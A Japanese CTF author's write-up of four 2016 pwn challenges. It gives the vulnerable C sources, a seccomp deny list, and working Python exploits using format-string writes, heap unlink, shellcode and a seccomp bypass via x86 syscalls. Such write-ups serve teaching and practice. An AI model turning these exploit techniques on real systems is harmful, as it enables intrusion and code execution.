つれづれなる備忘録

CTF関連の事やその他諸々

Tokyo Westerns/MMA CTF 2nd 2016のPwn作問

今回,TokyoWesterns CTF(通称 TWCTF)を9月3日の9:00から5日の9:00,計48時間オンラインで開催しました.

Tokyo Westerns/MMA CTF 2nd 2016

多くのみなさんにTWCTFに参加していただいて,本当に感謝感謝です.
最終的には1056チーム(アクティブチーム数は835チーム)参加して頂きました.


CTF開催中は,ひっきりなしに海外の方からの問題への問い合わせがIRCにあり,ほとんどそれに従事してました.
まるでサポートセンターに放り込まれたような感覚です(汗)
僕のTOEICうん百点のようなクソみたいな英語でも,頑張ればなんとかコミュニケーション取れる事が分かりました(笑)

問い合わせといえば,やっぱりこれが日本人と海外の人の差かと思ったのですが,日本人はほとんど問い合わせしませんね!
僕が対応した日本人は全日程通して一人だけでした.


さて,今回のCTFでは,私はPwnableジャンルの作問を担当しました.
作ったのはjudgement,greeting,diary,shadowの4問です.

それぞれの問題を軽く解説していこうかと思います.

judgement (Pwn 50)

Host : pwn1.chal.ctf.westerns.tokyo

Port : 31729

judgement

WarmUp問題です.
この問題は,Pwnを少しかじった人に解いてもらいたいというレベル感で作成しました.
作問時間は30分です(笑)

まずはこの問題のソースコードです

ソースコード

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define BUF_SIZE 64

char flag[BUF_SIZE];

int load_flag(char*, char*, int);
int getnline(char*, int);

__attribute__((constructor))
init(){
    char flag_name[]="flag.txt";

    setbuf(stdin,NULL);
    setbuf(stdout,NULL);
    if(!load_flag(flag_name, flag, sizeof(flag))){
        printf("Loading '%s' failed...\n", flag_name);
        _exit(0);
    }
}

int main(void){
    char buf[BUF_SIZE];

    alloca(0x80);
    printf( "Flag judgment system\n"
        "Input flag >> ");
    if(!getnline(buf, sizeof(buf))){
        puts("Unprintable character");
        return -1;
    }
    printf(buf);

    if(strcmp(buf, flag))
        puts("\nWrong flag...");
    else
        puts("\nCorrect flag!!");

}

int load_flag(char *fname, char *buf, int len){
    FILE *fp;
    char *lf;

    if(!(fp = fopen(fname, "r")))
        return 0;

    if(!fgets(buf, len, fp))
        return 0;

    if(lf=strchr(buf, '\n'))
        *lf = '\0';
    return 1;
}

int getnline(char *buf, int len){
    char *lf;
    int i;

    fgets(buf, len, stdin);
    if(lf=strchr(buf, '\n'))
        *lf = '\0';
    len = strlen(buf);

    for(i=0; i<len; i++)
        if(!isprint(buf[i]))
            break;
    return i==len;
}

解説

ソースコードを見ると,おおまかに流れが分かります.

  1. init関数でflag.txtからflagにフラグの読み込み
  2. main関数でユーザ入力を取って,それを保存されたflagと比較

さて,main関数内に明らかなFSBが存在します.
getnlineでユーザから入力を受け取った後,それをそのままprintf関数に渡してますね.

flagの保存されているアドレスを与え,それを%n$sで終わりかと思いきや,getnline関数に伏兵がおります.isprint関数で入力のチェックを行い,印刷不可文字があったら弾いています.

どうやってアドレス与えようと考えますが,まぁそれより先にひとまずprintf実行直前のスタックの様子を見てみましょう.
実行時に,予め適当な文字列のflag.txtを用意しておきます.

[-------------------------------------code-------------------------------------]
   0x804879f <main+116>:        mov    DWORD PTR [esp],eax
=> 0x80487a2 <main+119>:        call   0x80484e0 <printf@plt>
   0x80487a7 <main+124>:        mov    DWORD PTR [esp+0x4],0x804a0a0

Breakpoint 1, 0x080487a2 in main () 
gdb-peda$ telescope 50
0000| 0xffffcf80 --> 0xffffd02c ("input_hoge")
0004| 0xffffcf84 --> 0xa ('\n')
0008| 0xffffcf88 --> 0xf7ffdaf0 --> 0xf7ffda94 --> 0xf7fdab18 --> 0xf7ffd938 --> 0x0
-省略-
0108| 0xffffcfec --> 0xf7ea4f60 (push   edi)
0112| 0xffffcff0 --> 0x804a0a0 ("TWCTF{hogehoge}")
0116| 0xffffcff4 --> 0xf7ffd938 --> 0x0 

スタック上にありましたね,フラグが保存されてるアドレス

(0xffffcff0-0xffffcf80)/4=0x1c ということで,%28$sを与えておしまいです.

yutaro@S-LTPC04:~$ nc pwn1.chal.ctf.westerns.tokyo 31729
Flag judgment system
Input flag >> %28$s
TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
Wrong flag...

フラグ文字列はまぁリ○ロですね.
実はこれ開催直前に作った問題で,あまりにもフラグの案が出てこなくて,フラグ考えるのに10分使いました(笑)

greeting (Pwn 150)

Host : pwn2.chal.ctf.westerns.tokyo

Port : 16317

greeting

Note: DoS攻撃に対する対策の為,出力が131072文字に制限されています.

元々はこれをWarmup問題にするつもりでした.
しかし,方々からダメと言われたので150ptにアップしました.

まずはソースコードです.

ソースコード

// gcc -m32 -Wl,-z,norelro greeting.c -o greeting
#include <stdio.h>
#include <string.h>
#define BUF_SIZE 64

int getnline(char*, int);

__attribute__((constructor, section("tomori")))
void nao(void){
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    system("echo \"Hello, I'm nao\"!");
}

int main(void){
    char buf[BUF_SIZE], input[BUF_SIZE];

    printf("Please tell me your name... ");
    if(getnline(input, sizeof(input))){
        sprintf(buf, "Nice to meet you, %s :)\n", input);
        printf(buf);
    }
    else
        printf("Don't ignore me ;( \n");
}

int getnline(char *buf, int len){
    char *lf;

    fgets(buf, len, stdin);
    if(lf=strchr(buf, '\n'))
        *lf='\0';

    return strlen(buf);
}

解説

judgementと同じく,こちらにも明らかなFSBがあります.
しかし先程値は違い,フラグを読み込むことはしていないのでshellを取る必要があります.

今回はtomoriセクションのnao関数でsystemを呼んでるので,libc特定とか面倒くさいことはしなくて良さそうです.
ありがとう,友利奈緒ちゃん!!!

ちなみに,わざわざ友利奈緒ちゃんが自己紹介してるのにそれを無視すると,無視しないでって泣くのでダメです🙅
万死に値します.


冗談はさておき,main関数をもう少ししっかりと読んでみます.

ユーザ入力をsprintfで"Nice to meet you, %s :)"の%sに入れ込み,これをbufに格納してますね.
inputに45文字以上与えるとbufからあふれてしまいますが,溢れた先はまたinputなので,ここはあまり気にしなくてもちゃんと動きます.

まぁそれは良いとして,printf後に呼ばれる関数が無い!!!
皆さんの競技中の様子を見ていると,結構な方が__stack_chk_failのGOTを書き換えてsystemとかmainとかに飛ばそうとしてました.
多分バッファは溢れないので,canaryを書き換えちゃうことは無いのではないかと思います.(できてたらご一報ください)

mainの後に実行されると言えば,そうデストラクタですね.
.fini_arrayセクションに登録された関数がexit時に呼ばれます.

しかしここで問題なのは,.fini_arrayに登録された関数には引数が与えられないという点です.
なので,ここはmainを再度呼び,ユーザからの入力を第一引数に取る関数のGOTをsystemにしてやることにしましょう.
getnline内で,fgetsで入力を取った後のstrlenが良さそうですね.

あ,それと補足ですが,.fini_arrayに登録された関数は「mainの後」に呼ばれるのではなく「exit時」に呼ばれるので,この状態で2度目のmainを終了しても,再度mainが呼ばれることはありません.

僕の書いたexploit例です.
このexploitはオレオレpwnライブラリのsc_pwnを使ってるので,もし実行したい方が居たらここからダウンロードして下さい. github.com

重要なところはattackのところですね

#!/usr/bin/env python
from sc_pwn import *

env = Environment('local', 'remote')
env.set_item('target',  local   = {'host':'192.168.75.133','port':8080}, \
                        remote  = {'host':'pwn2.chal.ctf.westerns.tokyo','port':16317})
env.select()

binf = ELF('greeting')

addr_plt_system         = binf.plt('system') 
addr_bin_main           = binf.function('main')

addr_fini_array         = binf.section('.fini_array')
addr_got_strlen         = binf.got('strlen')

#==========
def attack(cmn):
    fsb = FSB(count=18,gap=2 ,size=2)
    fsb.set_adrval(addr_fini_array, addr_bin_main)
    fsb.set_adrval(addr_got_strlen, addr_plt_system)
    fsb.auto_write(index=12)

    cmn.read_until('name... ')
    cmn.sendln(fsb.get())

    cmn.read_until('name... ')
    cmn.sendln('/bin/sh\0')

#==========

if __name__=='__main__':
    cmn = Communicate(env.target,mode='SOCKET')
    attack(cmn)

    sh = Shell(cmn)
    sh.select()
    del(sh)

    del(cmn)
    
#==========

実行してみる

Select Environment
['remote', 'local'] ...
[+]Environment : set environment "remote"
[*]Loading "greeting"...
[*]Connect to pwn2.chal.ctf.westerns.tokyo:16317
[!]FSB : Use "get()" to generate exploit
[A]dvanced      [N]ormal        [I]nteractive   [R]everseShell
[S]tatus        [E]xit
(A/N/I/R/S/E)...n
$ls -al
total 24
drwxr-x--- 2 root p16317 4096 Sep  3 02:23 .
drwxr-xr-x 6 root root   4096 Sep  2 23:49 ..
-rw-r----- 1 root p16317   34 Sep  2 23:46 flag
-rwxr-x--- 1 root p16317 6329 Sep  2 23:46 greeting
-rwxr-x--- 1 root p16317   52 Sep  3 02:23 launch.sh
$cat flag
TWCTF{51mpl3_FSB_r3wr173_4nyw4r3}
$exit

[*]Network Disconnect...
Enter any key to close...

無事にshellが取れて,flagもゲットできました.

diary (Pwn 300)

Host : pwn1.chal.ctf.westerns.tokyo

Port : 13856

もし必要であるなら,./bash が使えます.

diary

ここからが本番です.
ぼくもさくもんがんばったよ()

さすがに全ソースコードを載せるのは骨が折れるので,重要な部分だけ記載します

ソースコード

diary.c

// gcc diary.c -o diary
#include <stdio.h>
#include <unistd.h>
#include "heap.h"
#include "config.h"
#include "seccomp-bpf.h"
#define BUF_SIZE 32
#define TRUE 1
#define FALSE 0

#define __NR_execveat 322

__attribute__((constructor))
init(){
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    init_heap();
    init_seccomp();
}

init_seccomp(){
    struct sock_filter filter[] = {
        EXAMINE_SYSCALL,
        DENY_SYSCALL(open), // fork
        DENY_SYSCALL(openat),   // remap_file_pages
        DENY_SYSCALL(execve),   // olduname
        DENY_SYSCALL(clone),
        DENY_SYSCALL(fork), // setpgid
        DENY_SYSCALL(vfork),
        DENY_SYSCALL(creat),    // readlink
        DENY_SYSCALL(execveat),
        DEFAULT_ALLOW,
    };
    struct sock_fprog prog = {
        .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
        .filter = filter,
    };

    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) goto fail;
    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)) goto fail;

    return;

fail: fprintf(stderr, "SECCOMP_FILTER is not available...\n");
    _exit(-1);
}
-省略-

Diary *register_entry(void){
    int size;
    Diary *entry;
    Date date;

    printf("\nAdd entry to diary\n");

    date = input_date();
    if(!date.year || !date.month || !date.day){
        printf("Wrong date ;(\n");
        return NULL;
    }

    entry = malloc(sizeof(Diary));
    entry->date = date;

    if(Find(entry->date)){
        printf("Already exsists ;(\n");
        free(entry);
        return NULL;
    }

    printf("Input content size... ");
    if((size=getint())<=0){
        free(entry);
        return NULL;
    }
        
    entry->content = malloc(size);
    printf("\nPlease write what happened on %d/%02d/%02d\n>> ", entry->date.year, entry->date.month, entry->date.day);
    getnline(entry->content, size);

    if(Insert(entry))
        printf("Registration Complete! :)\n");
    else
        printf("Registration Failed ;(\n");
    return entry;
}
-省略-

int getnline(char *buf, int len){
    int i,n;

    n = read(STDIN_FILENO, buf, len+1);
    for(i=0; i<n; i++)
        if(buf[i]=='\n'){
            buf[i]='\0';
            break;
        }
    return i;
}
-省略-

heap.c

#include <sys/mman.h>

#define HEAP_SIZE 0x1000
#define PREV_INUSE(p)  (p->size&1)
#define PREV_SIZE(p)   (*(long*)((void*)p-sizeof(long)))

void *mmaped_buf;

typedef struct HEADER{
    long size;
    struct HEADER *fd, *bk;
} Heap;

Heap h_top = {
    .size = 0,
    .fd = NULL,
    .bk = NULL,
};

init_heap(){
    Heap *ptr;

    mmaped_buf = mmap(NULL, HEAP_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    ptr  = (Heap*)mmaped_buf;

    ptr->size = HEAP_SIZE|1;
    ptr->fd = ptr->bk = &h_top;
    h_top.fd = h_top.bk = ptr;
}

fini_heap(){
    munmap(mmaped_buf, HEAP_SIZE);
}

void link_freelist(Heap*);
void unlink_freelist(Heap*);

void *malloc(size_t size){
    Heap *ptr = h_top.fd, *post;
    size_t next_size;

    size += sizeof(long);
    if(size%8)
        size = (size/8+1)*8;
    if(size<0x20)
        size = 0x20;

    while(ptr!=&h_top && ptr->size<size)
        ptr = ptr->fd;
    if(ptr==&h_top)
        return NULL;

    unlink_freelist(ptr);

    if((int)(next_size = (ptr->size&~1)-size) > sizeof(long)){
        Heap *next;

        next = (Heap*)((void*)ptr+size);
        next->size = next_size;
        PREV_SIZE((Heap*)((void*)next+next_size)) = next_size;

        link_freelist(next);
        ptr->size -= next_size;
    }

    post = (Heap*)((void*)ptr+(ptr->size&~1));
    post->size |= 1;

    return (void*)ptr+sizeof(long);
}

void free(void *p){
    Heap *ptr = (Heap*)(p-sizeof(long));
    Heap *post = (Heap*)((void*)ptr+(ptr->size&~1)), *post2;

    if(!PREV_INUSE(post))
        return;

    post->size &= ~1;

    if(!PREV_INUSE(ptr)){
        long prev_size = PREV_SIZE(ptr);
        Heap *prev = (Heap*)((void*)ptr-prev_size);

        unlink_freelist(prev);
        prev->size += ptr->size;

        ptr = prev;
    }

    post2 = (Heap*)((void*)post+post->size);
    if(!PREV_INUSE(post2)){
        unlink_freelist(post);
        ptr->size += post->size;

        post = post2;
    }
    PREV_SIZE(post) = ptr->size&~1;
    link_freelist(ptr);
}

void link_freelist(Heap *chunk){
    Heap *ptr=h_top.fd;

    while(ptr!=&h_top && ptr->size<chunk->size)
        ptr = ptr->fd;

    chunk->fd = ptr;
    chunk->bk = ptr->bk;
    ptr->bk->fd = chunk;
    ptr->bk = chunk;
}

void unlink_freelist(Heap *chunk){
    if(!chunk || chunk==&h_top)
        return;

    chunk->bk->fd = chunk->fd;
    chunk->fd->bk = chunk->bk;
}

解説

この問題にはOff-By-One Errorが存在しています.

getnline関数のreadで,なぜか1バイトだけ多く入力を取ってます.
そして,このgetnline関数を呼んでいるのはregister_entry関数における内容を書くところだけですね.

今回は独自ヒープ実装です.
データがあふれた場合にどこを壊してしまうか見てみると,次のチャンクのsizeのようです.

typedef struct HEADER{
    long size;
    struct HEADER *fd, *bk;
} Heap;

また,free時に呼ばれるunlink_freelistですが,どうやら前後関係をチェックしていません.

void unlink_freelist(Heap *chunk){
    if(!chunk || chunk==&h_top)
        return;

    chunk->bk->fd = chunk->fd;
    chunk->fd->bk = chunk->bk;
}

これはイケますね

とあるチャンクAの直後のチャンクBデータ部の中に偽チャンクB'を作っておき,そのチャンクBのサイズを書き換えればよさそう

 _______________________________________________________________________________
         |       |       |       |                                       |
  dataA  |0x38|1 |                      dataB                            |
 ________|_______|_______|_______|_______________________________________|______
  chunkA  chunkB
                             ↓↓
 _______________________________________________________________________________
         |       |       |       |       |       |       |               |
  dataA  |0x18|1 |     dataB     |0x20|1 | addr1 | addr2 |    dataB'     |
 ________|_______|_______|_______|_______|______ |_______|_______________|______
  chunkA  chunkB                  chunkB'

あたかも偽チャンクB`がfreeされているようにしておいて,チャンクBをfreeすれば,偽チャンクB'のunlinkが走り,書き換えができるという寸法.


さて,任意のアドレスの値を書き換えられるのは良いとして,どこを何に書き換えましょう?

今回はNXが有効になっていますが,なぜかヒープのページには PROT_READ|PROT_WRITE|PROT_EXEC が指定されています.
ここにシェルコードを置けということでしょうか?(まぁそうなんですけど)

では適当なGOTを書き換えて,飛ばす先をシェルコードを置いたヒープにしましょう.
書き換えるGOTは別に何の関数でもいいんですが,シェルコード発動までできるだけ他に影響を及ぼしたくないのでexit関数にでもしましょう.


実行するシェルコードについてです.

この問題ではseccompによるsandboxがあります.
ブラックリスト方式で,制限されているのはopen, openat, execve, clone, fork, vfork, creat, execatの8つです.

問題文に./bash使えるってあったのにexecve使いないじゃん💢(キレそう)
と思うかもしれませんが,よくよく読むとアーキテクチャの確認をしていません.
すなわち,x86システムコールなら制限を回避できるのでは??

ということでshellcodeの方針もたちました
ただし,アドレス空間も32bitになるので,そこら辺もしっかりと考慮しなくてはなりません.

では,今回の問題でのexploit全体の流れを改めて確認しましょう.

  1. OBOEで次のチャンクのサイズを壊し,Unlink attackで任意のアドレスを書き換える
  2. 書き換えるのはexitのGOTで,ヒープに置くshellcodeのアドレスに飛ばす
  3. ヒープにx86に切り替える64bitなshellcodeを置く
  4. shellcodeでは32bit空間に収まるようなアドレスに PROT_READ|PROT_WRITE|PROT_EXEC なページを確保して,stagerとする
  5. 改めて./bashをexecveする32bitのshellcodeを送る
  6. exitをplt経由で呼んで,shellcode発動

ちなみに,./bashは32bitプログラムなので問題なく実行できます.


方針が立ったところで,exploit例を示します.

#!/usr/bin/env python
from sc_pwn import *

env = Environment('local', 'remote')
env.set_item('target',  local   = {'host':'192.168.75.138','port':8080}, \
                        remote  = {'host':'pwn1.chal.ctf.westerns.tokyo','port':13856})
env.select()

binf = ELF('diary')
addr_got_exit   = binf.got('exit')

addr_buf_stager = 0x80000000
addr_buf_flag   = 0x60000000
addr_buf_stack  = 0xffff0000

#==========
def attack(cmn):
    #==========
    
    sc = ShellCode('amd64')
    shellcode_st2  = sc.change_cpu_mode('x86')
    shellcode_st2 += sc.reset_stack(addr_buf_stack, 0x1000)
    shellcode_st2 += '\x68sh\x00\x00'               # push    sh
    shellcode_st2 += '\x68./ba'                     # push    ./ba
    shellcode_st2 += '\x89\xe3'                     # mov     ebx, esp
    shellcode_st2 += sc.execve(None,NULL,NULL)
    shellcode_st2 += sc.exit(0)

    sc = ShellCode('amd64')
    shellcode_st1  = '\xe9\x0b\x00\x00\x00'             # jmp 0x10
    shellcode_st1 += '\x90'*(0x10-len(shellcode_st1))   # <- overwritten with addr_got_exit-0x10
    shellcode_st1 += sc.mmap(addr_buf_stager, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
    shellcode_st1 += sc.stager(buf=addr_buf_stager, size=len(shellcode_st2))

    #==========
    register(cmn, '1970/1/1', 'aaaa', 0x10)
    register(cmn, '1970/1/2', 'bbbb', 0x10)
    register(cmn, '1970/1/3', shellcode_st1, len(shellcode_st1))

    delete(cmn, '1970/1/1')
    delete(cmn, '1970/1/2')
    register(cmn, '1970/2/1', '!', 0x60)
    addr_heap       = show(cmn, '1970/2/1')
    addr_heap       = unpack_64(addr_heap+'\x00'*(8-len(addr_heap)))&~0xfff
    addr_shellcode  = addr_heap + 0xc0
    info('addr_heap     = 0x%x' % addr_heap)

    exploit  = 'C'* 0x10
    exploit += pack_64(0x21)
    exploit += pack_64(addr_got_exit-0x10)
    exploit += pack_64(addr_shellcode)
    exploit += pack_64(0x20)
    exploit += pack_64(0x0)
    
    register(cmn, '1970/3/1', '1111', 0x18)
    register(cmn, '1970/3/2', exploit, len(exploit))
    delete(cmn, '1970/3/1')
    register(cmn, '1970/3/3', 'B'*0x18+'\x41', 0x18)
    delete(cmn, '1970/3/2')

    cmn.read_until('>> ')
    cmn.sendln('0')
    
    cmn.read_until('Bye!\n')
    cmn.send(shellcode_st2)
    
def register(cmn, date, content, size):
    cmn.read_until('>> ')
    cmn.sendln('1')

    cmn.read_until('Input date')
    cmn.sendln(date)
    cmn.read_until('size... ')
    cmn.sendln(str(size))
    cmn.read_until('what happened on')
    cmn.send(content)

def show(cmn, date):
    cmn.read_until('>> ')
    cmn.sendln('2')

    cmn.read_until('Input date')
    cmn.sendln(date)
    cmn.read_until()
    return cmn.read_until('\n', False)

def delete(cmn, date):
    cmn.read_until('>> ')
    cmn.sendln('3')

    cmn.read_until('Input date')
    cmn.sendln(date)

#==========

if __name__=='__main__':
    cmn = Communicate(env.target,mode='SOCKET')
    attack(cmn)

    sh = Shell(cmn)
    sh.select()
    del(sh)
    
    del(cmn)
    
#==========

では実行してみましょう

ここで注意なのですが,このマシンにおけるコマンドは64bitのプログラムです.
何かしらのコマンドを実行しようとすると,その中でもseccompは有効なのでシステムコールは制限されたままです.

すなわち,lsとかそういうコマンドを実行することはできません.
なので,bashの組み込みコマンドで頑張ってください!

Select Environment
['remote', 'local'] ...
[+]Environment : set environment "remote"
[*]Loading "diary"...
[*]Connect to pwn1.chal.ctf.westerns.tokyo:13856
[+]chage CPU_mode "amd64" to "x86"
[+]addr_heap     = 0x7ff83f8e2000
[A]dvanced      [N]ormal        [I]nteractive   [R]everseShell
[S]tatus        [E]xit
(A/N/I/R/S/E)...n
$echo *
bash diary flagflag_oh_i_found
$read a < flagflag_oh_i_found
$echo $a
TWCTF{bl4ckl157_53cc0mp_54ndb0x_15_d4ng3r0u5}
$exit

[*]Network Disconnect...
Enter any key to close...

shadow (Pwn 400)

Host : pwn2.chal.ctf.westerns.tokyo

Port : 18294

shadow

さて,最後の問題です.

これ配点間違えた感があります
diaryと逆の方がよかったかもしれない・・・

まぁそんなことは置いておいて,解説していきます.
メインのソースコードのみ置いておきます.

ソースコード

#include "shadow.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BUF_SIZE 32

int _main(int, char**, char**);

__attribute__((constructor))
init(){
    shadow_init();
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
}

__attribute__((destructor))
fini(){
    shadow_fini();
}

void main(int argc, char *argv[], char *envp[]){
    int ret;

    ret = call(_main, argc, argv, envp);
    exit(ret);
}

int message(int, int, int);
int getnline(char*, unsigned short);

int _main(int argc, char *argv[], char *envp[]){
    char *name;

    call(printf,    "Hello!\n"
            "You can send message three times.\n");

    name = alloca(BUF_SIZE*3/2);
    name[0]='\0';
    call(message, (int)name, BUF_SIZE/2, 3);

    call(printf, "Bye!\n");

    ret(0);
}

int message(int name, int name_len, int count){
    int i, len;

    for(i=0; i<count; i++){
        char buf[BUF_SIZE] = {0};

        if(call(strlen, name)){
            call(printf, "Change name? (y/n) : ");
            call(getnline, buf, sizeof(buf));
        }

        if(!call(strlen, name) || buf[0]=='y'){
            call(printf, "Input name : ");
            call(getnline, (char*)name ,name_len);
        }

        call(printf, "Message length : ");
        call(getnline, buf ,sizeof(buf));
        len = call(atoi, buf);
        if(len > BUF_SIZE) len = BUF_SIZE;

        call(printf, "Input message : ");
        call(getnline, buf ,len);
        call(printf, "(%d/%d) <%s> %s\n\n", i+1, count, (char*)name, buf);
    }

    ret(0);
}

int getnline(char *buf, unsigned short len){
    int i,n;

    if(!(n = call(read, STDIN_FILENO, buf, len)))
        _exit(-1);
    for(i=0; i<n; i++)
        if(buf[i]=='\n'){
            buf[i]='\0';
            break;
        }

    ret(i);
}

解説

この問題はshadow stackにいんすぱいあーされて作成しました.

ということになっていますが,実はintelのshadow stackを知るよりも前に某常設CTFサイトのmagur○で作成したR○P_Impossibleという問題が元になっています.
そうは言っても,重要なところは書き直してるので流用ではありません(←ここ重要)

このshadow stackの動きは結構読むのが面倒だと思いますが,実はあまり重要ではありません.
ここに穴は仕込んでいないはずなので(あったら教えてください,悲しみます)


さて,コードを読んでいきましょう.
message関数は引数で与えられた回数だけループしてメッセージを受け取ります.
ここでは_mainで3を与えて呼んでいるので3回のループですね.

message関数ではユーザからのメッセージの文字数を先に受け取り,その長さだけreadします.
その長さもBUF_SIZEと比較し,BUF_SIZEより大きくならないようにしています.

call(getnline, buf ,sizeof(buf));
len = call(atoi, buf);
if(len > BUF_SIZE) len = BUF_SIZE;

一見するとバッファを溢れないようにちゃんと対策しているように見えますが,比較はsigned,getnlineではunsignedで処理されてるので,負の値を渡すとお察しです.

そんなわけで盛大にスタックオーバーフローを起こすので,ROPして終わりと思いきやそうは問屋が卸しません.
shadow stackのせいで,リターンアドレスを書き換えても元に戻されます.


スタックオーバーフローで書き換えられるのはリターンアドレスだけではありません. 関数の引数も書き換えることができます.
messageは引数にnameのポインタが渡され,そこを読んだり書き換えたりしています.
すなわち,このアドレスを書き換えてしまえば任意のアドレスの読み書きが可能になるということです.
ついでにcountも書き換えてもっとループするようにしましょう

ここで余談なのですが,messageの引数としてnameをなぜint型で渡してるのか?と思われる方もいるでしょう.これには理由があります.
引数をchar*型で渡してやると,gccが気を遣ってその関数のスタックフレーム内にコピーをし,以後これを使います.
コピーされた先はbufよりも下位アドレスであるため,この関数内でのスタックオーバーフローで書き換えることはできません.
なので,作問にあたってgccを騙すための雑な対応策がこれです(笑)


さて,本題に戻ります.

どこでも書き換えられる,と言ってもどこを書き換えるのか決めないと話は始まりません.
このバイナリはFull RELROとなっているのでGOTとかgreetingのような.fini_arrayはなさそうです.
スタックのリターンアドレスも書き換えて特に意味はないので,残るはlibcの中の何かでしょうかね

この問題の解法はいくつかありますが,今回はそのうちの二つを紹介します.
どちらもshadow stackは全力で無視します(笑)
できるだけこんな面倒な機構には関わりたくありません(自分で作った機構ですが・・・)

IO_stdout

libcのstdin/stdoutが使われるときに呼ばれる関数群を格納した配列のようなものがあります.
僕も詳しい動き方は把握していませんが,今回は配列そのものを別の場所に用意し,そこを書き換えて任意のROPガジェットを呼びます. f:id:shift_crops:20160906202444p:plain

今回はlibcが必要なので,適当に他のpwn問題を解いて入手しておいてください

まずはスタックオーバーフローでnameの場所に適当な関数のGOTを指定し,libcのベースアドレスを得ます.
普段ならすでに呼ばれた関数を指定しますが,FULL RELROの場合は解決済みなのでどれでも大丈夫です.

libcの_IO_2_1_stdout_+0x94には先程の配列のアドレスが入っているので,これをbss領域などの自由にいじれる場所(領域A)を指定します
しかし,この作業は全ての準備が整った後,最後に実行します
そうしないと,何かしたらの文字を出力する段階でその配列内の関数を参照しようとして,上手く動かずに落ちちゃうかもだからです.

さて,領域Aのどこに何を入れるのかというと,オフセット0x1cの場所にlibc内のROPガジェット(pop*256; ret)を入れます.
本来なら_IO_file_xsputnが入ってる場所ですね.

256回popしたところに,丁度入力した文字列らへんがやってくるので,うまく調節して続きのROPガジェットを実行できるようにします.
ROPガジェットはおなじみですよね

payload  = pack_32(addr_libc_system)
payload += pack_32(addr_plt_exit)
payload += pack_32(addr_libc_str_sh)

最後に先程説明した_IO_2_1_stdout_+0x94を領域Aに書き換え,exploitが発動します.

pythonで書いたexploitです.

#!/usr/bin/env python
from sc_pwn import *
from shadow import Shadow

env = Environment('local', 'remote')
env.set_item('target',  local   = {'host':'192.168.75.139','port':8080}, \
                        remote  = {'host':'pwn2.chal.ctf.westerns.tokyo','port':18294})
env.select()

binf = ELF('shadow')
libc = ELF('../libc-2.19.so_remote')

addr__main_rfm      = binf.function('main')+0x54
addr_got_exit       = binf.got('exit')
addr_plt_exit       = binf.plt('exit')
addr_bss            = binf.section('.bss')

offset_libc_popx256 = 0x0007c371

#==========

def attack(cmn):
    sd = Shadow(cmn)
    
    addr_libc_exit      = sd.read_word(addr_got_exit)
    
    libc.set_location('exit', addr_libc_exit)
    addr_libc_IO_stdout = libc.symbol('_IO_2_1_stdout_')
    addr_libc_system    = libc.function('system')
    addr_libc_str_sh    = libc.search('/bin/sh')
    addr_popx256        = libc.base + offset_libc_popx256
    info("addr_libc_base        = 0x%08x"%libc.base)

    payload  = pack_32(addr_libc_system)
    payload += pack_32(addr_plt_exit)
    payload += pack_32(addr_libc_str_sh)

    #==========

    sd.write_data(addr_bss+0x1c, pack_32(addr_popx256))

    exploit  = 'a'*0xd
    exploit += payload
    exploit += 'a'*(0x34-len(exploit))
    exploit += pack_32(addr_libc_IO_stdout+0x94)
    exploit += pack_32(4)
    exploit += pack_32(100)
    sd.message(None, -1, exploit)
    cmn.read_until('<')
    addr_libc_IO_jumps      = unpack_32(cmn.read(4))
    info("addr_libc_IO_stdout   = 0x%08x -> 0x%08x"%(addr_libc_IO_stdout, addr_bss))

    cmn.read_until(' : ')
    cmn.sendln('y')
    cmn.read_until('name : ')
    cmn.send(pack_32(addr_bss))

#==========

if __name__=='__main__':
    cmn = Communicate(env.target,mode='SOCKET')
    attack(cmn)

    sh = Shell(cmn)
    sh.select()
    del(sh)
    
    del(cmn)
    
#==========

ちなみに,shadowに対して入出力をしてくれるクラスを使いまわすためにまとめたshadow.pyは次の通りです.

#!/usr/bin/env python
from sc_pwn import *

class Shadow:
    def __init__(self, cmn):
        self._read       = cmn.read
        self._read_until = cmn.read_until
        self._send       = cmn.send
        self._sendln     = cmn.sendln
        
    def message(self, name, length, msg):
        if '(y/n)' in self._read_until(' : '):
            chname = name is not None
            self._sendln('y' if chname else 'n')
            if chname:
                self._read_until('name : ')
        else:
            chname = True

        if chname:
            self._send(name if name is not None else 'none')
            
        self._read_until('length : ')
        self._sendln(str(length))
        self._read_until('message : ')
        self._send(msg)

    def read_word(self, addr):
        exploit  = 'a'*0x34
        exploit += pack_32(addr)
        exploit += pack_32(8)
        exploit += pack_32(100)
        self.message(None, -1, exploit)
    
        self._read_until('<')
        return unpack_32(self._read(4))

    def write_data(self, addr, data):
        exploit  = 'a'*0x34
        exploit += pack_32(addr)
        exploit += pack_32(len(data))
        exploit += pack_32(100)
        self.message(None, -1, exploit)
        self.message(data, -1, 'none')

atexit

こっちが本来(?)の解法です.
元々これで解いてもらう予定だったのですが,そういえばIOのもあるなぁと思い,でもその方法で解かせないようにする必要もないのでそのままにしました.

さて,こちらはatexitが登録する配列に,自身の呼びたい関数を書き込んじゃおうという方法です.
こっちの方が遥かに面倒臭いので,チャレンジしなくても良いです(笑)

まずはcanaryとold_ebpをリークさせます.
canaryは0x20,old_ebpは0x2cの所にあるので,適当にaとかを入力し,メッセージ出力時に表示させます.
getnlineは改行を送らなければ勝手にNULLは追加しません.

old_ebpから現在のスタックのアドレスが分かりました.
gdbで調べてもらえばわかりますが,old_ebpから0x3c減じたところにエンコードされたとあるリターンアドレスのごみが落ちてるので,これと本来のアドレスをxorしてshadow stackで用いられているgs:0x18の値が分かります.

なぜこんな値を調べるのかというと,gs:0x18は一般にポインタの保護に用いられています.PTR_MANGLEとかで調べてみてください.
今回の解法であるatexitでもこれは用いられているため,gs:0x18のリークは必須です.

そもそも,atexitの配列はどこにあるの?ということも調べなければなりません.
これもold_ebpから分かります. old_ebpに0x14加えたところがそのダブルポインタになっています.

